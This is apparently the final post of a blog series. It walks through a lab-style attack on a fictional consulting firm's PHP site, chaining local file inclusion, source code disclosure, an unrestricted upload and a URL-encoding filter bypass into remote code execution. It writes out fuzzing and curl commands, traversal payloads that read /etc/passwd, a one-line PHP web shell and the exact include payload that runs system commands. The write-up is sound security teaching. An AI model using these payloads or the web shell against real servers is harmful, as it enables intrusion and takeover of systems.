How I chained LFI, source code disclosure, and a broken file upload to get full remote code execution. Final part of the File Inclusion series.

This is not a beginner guide. If you're new to LFI, check Part 1 of the series first — this post assumes you already understand directory traversal, PHP wrappers, and file upload attacks.

The Scenario

The target is Sumace Consulting GmbH, a fictional IT consulting firm. During the kickoff, the CISO mentioned one thing — a job application form was added since the last pentest. That's the hint. That's where we start.

Step 1 — Mapping the Application

The app has three pages: Home, Contact, and Apply. The Apply page has a job application form — first name, last name, email, a file upload for a resume, and a notes field.

None

When you submit it, you get redirected to:

/thanks.php?n=firstName

The ?n= parameter just reflects whatever you submitted as first name — "Thanks for applying, moncef!"

None

That reflection made it look interesting at first. I spent time throwing LFI payloads at it — traversal sequences, encoding, everything — but it all just came back as plain text. "Thanks for applying, ../../../../etc/passwd!" The path was being reflected, not executed.

None

Dead end. Time to move on.

Step 2 — Noticing the Image Endpoint

Looking at the home page source, something caught my eye. Every image on the page is loaded through:

/api/image.php?p=9e3836574d40d60a56435829003f0196
None

That hash looked like MD5–32 hex characters. I tried cracking it through online tools and got nothing. It's probably the MD5 of the file content rather than a common string. But the hash itself wasn't the interesting part — the ?p= parameter was. The page is taking a user value and using it to load a file. That's exactly the pattern we've been exploiting this whole series.

I threw the LFI-Jhaddix wordlist at it:

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u 'http://IP:PORT/api/image.php?p=FUZZ' -fs 0
None

Hits came back immediately. Traversal payloads returning /etc/passwd content. LFI confirmed. Verified with curl:

curl 'http://IP:PORT/api/image.php?p=....//....//....//etc/passwd'
None

Step 3 — Hitting a Wall

With LFI confirmed I tried everything from the previous parts. PHP wrappers, log poisoning, session poisoning, RFI. Nothing produced code execution. Responses were always just file content — no commands running, no shell, nothing.

That's when it clicked. This function is probably just reading files, not executing them. I read the source of image.php itself using the php filter wrapper:

curl 'http://IP:PORT/api/image.php?p=php://filter/read=convert.base64-encode/resource=....//....//....//api/image.php'
None
<?php
if (isset($_GET["p"])) {
    $path = "../images/" . str_replace("../", "", $_GET["p"]);
    $contents = file_get_contents($path);
    header("Content-Type: image/jpeg");
    echo $contents;
}
?>

file_get_contents() — reads files, never executes them. That's why every execution attempt failed. But here's the thing — this is still incredibly useful. We can read any file on the server, including the source code of every other PHP file. So that's exactly what I did next.

Step 4 — Reading Everything

I went through every PHP file I could find. index.php, apply.php, thanks.php, then application.php, and finally contact.php. That last one changed everything.

Reading application.php first:

curl 'http://IP:PORT/api/image.php?p=php://filter/read=convert.base64-encode/resource=....//....//....//api/application.php'
None
$tmp_name = $_FILES["file"]["tmp_name"];
$file_name = $_FILES["file"]["name"];
$ext = end((explode(".", $file_name)));
$target_file = "../uploads/" . md5_file($tmp_name) . "." . $ext;
move_uploaded_file($tmp_name, $target_file);

Two things stood out immediately. First — md5_file() hashes the file content, so the uploaded file gets saved as md5_of_content.extension. That means we can predict the filename before we even upload. Second — there is absolutely no extension check. Whatever extension you upload gets saved as-is. Upload a .php file and it saves as .php. The form was just meant to accept resumes, but nobody thought to restrict what file types could be saved.

Then contact.php:

curl 'http://IP:PORT/api/image.php?p=php://filter/read=convert.base64-encode/resource=....//....//....//contact.php'
None
$region = "AT";
$danger = false;
if (isset($_GET["region"])) {
    if (str_contains($_GET["region"], ".") || str_contains($_GET["region"], "/")) {
        echo "'region' parameter contains invalid character(s)";
        $danger = true;
    } else {
        $region = urldecode($_GET["region"]);
    }
}
if (!$danger) {
    include "./regions/" . $region . ".php";
}

There it is. The ?region= parameter on the contact page goes straight into include(). The filter blocks . and / — but here's the critical mistake: it checks the raw input first, then calls urldecode(), then passes the result to include. So if we URL-encode our dots and slashes, the filter never sees them. urldecode() converts them back right before include runs.

%2e = . and %2f = /

That's the bypass. And since include() actually executes PHP — unlike file_get_contents() — this is our code execution vector.

I should have found this parameter earlier through fuzzing. But because the CISO pointed at the apply form, I stayed focused there. Turns out both were part of the chain.

Step 5 — Executing the Chain

Everything is in place. Here's the full plan:

  1. Upload shell.php through the apply form — no extension check means it gets accepted
  2. Server saves it as md5_of_content.php inside /uploads/
  3. Calculate the MD5 of the shell content to know the exact filename
  4. Include it through contact.php?region= using URL-encoded traversal to bypass the dot/slash filter

Create the shell:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Calculate its MD5:

md5sum shell.php
None

Upload it through the apply form using Burp — just change the filename to shell.php. The server accepts it without any complaint and saves it as fc023fcacb27a7ad72d605c4e300b389.php in /uploads/.

Now include it through the region parameter with URL-encoded traversal:

/contact.php?region=%2e%2e%2fuploads%2ffc023fcacb27a7ad72d605c4e300b389%2ephp&cmd=ls+/

The filter sees no dots or slashes — clean input. Then urldecode() runs and converts everything back. include() gets the full path and executes our shell.

None

The root directory listing appeared right there on the contact page. The flag file was visible in the output. Then:

/contact.php?region=%2e%2e%2fuploads%2ffc023fcacb27a7ad72d605c4e300b389%2ephp&cmd=cat+/FLAG_FILE_NAME
None

The Full Chain

Nothing about this was straightforward. The vulnerability wasn't sitting in one obvious place — it required connecting three separate weaknesses that only became visible through patient source code reading:

Weakness 1 — LFI in image.php used file_get_contents() so no execution was possible. But it let us read the source code of every file on the server. Without this first step, we never find the other two.

Weakness 2 — Broken upload in application.php had zero extension validation. Combined with md5_file() naming, we could predict exactly where our uploaded shell would land before we even sent the request.

Weakness 3 — LFI with execution in contact.php had a ?region= parameter going into include() with a filter that could be bypassed trivially through URL encoding — because the code checked input before decoding it.

The CISO pointed us at the apply form and he wasn't wrong — it was part of the chain. But the actual execution came from a parameter on a completely different page that most people would walk right past. That's what makes this feel like a real pentest rather than a CTF. The interesting stuff is rarely where you expect it.

Series Links

🔗 Part 1 — Local File Inclusion: From Basic Exploitation to Source Code Disclosure: https://medium.com/meetcyber/local-file-inclusion-lfi-explained-with-dvwa-from-basic-exploitation-to-source-code-disclosure-5ed1b704e070

🔗 Part 2 — LFI to RCE: Turning a File Read into Code Execution with PHP Wrappers: https://medium.com/meetcyber/local-file-inclusion-part-2-9999b4a7e41b

🔗 Part 3 — Remote File Inclusion — Making the Server Come to You: https://medium.com/meetcyber/lfi-to-rce-remote-file-inclusion-and-how-servers-execute-your-shell-6b165770cd91

🔗 Part 4 — LFI to RCE: Weaponizing File Uploads with PHP Shells: https://medium.com/meetcyber/lfi-to-rce-weaponizing-file-uploads-with-php-shells-b12edc433415

🔗 Part 5 — LFI to RCE: Log Poisoning via PHP Sessions and Apache Logs: https://medium.com/meetcyber/lfi-to-rce-log-poisoning-via-php-sessions-and-apache-logs-aa4dcf184bb8

🔗 Part 6 — LFI Automated Scanning: Finding and Fuzzing with ffuf: https://medium.com/meetcyber/lfi-automated-scanning-finding-and-fuzzing-with-ffuf-b1d0425e2953

🔗 Part 7 — LFI Prevention: How to Actually Fix File Inclusion Vulnerabilities: https://medium.com/meetcyber/lfi-prevention-how-to-actually-fix-file-inclusion-vulnerabilities-9cda530d6c3f

That's the full series. Eight parts, from a basic ../ on DVWA all the way to chaining three vulnerabilities for full RCE on a realistic target. Hope it was worth following along.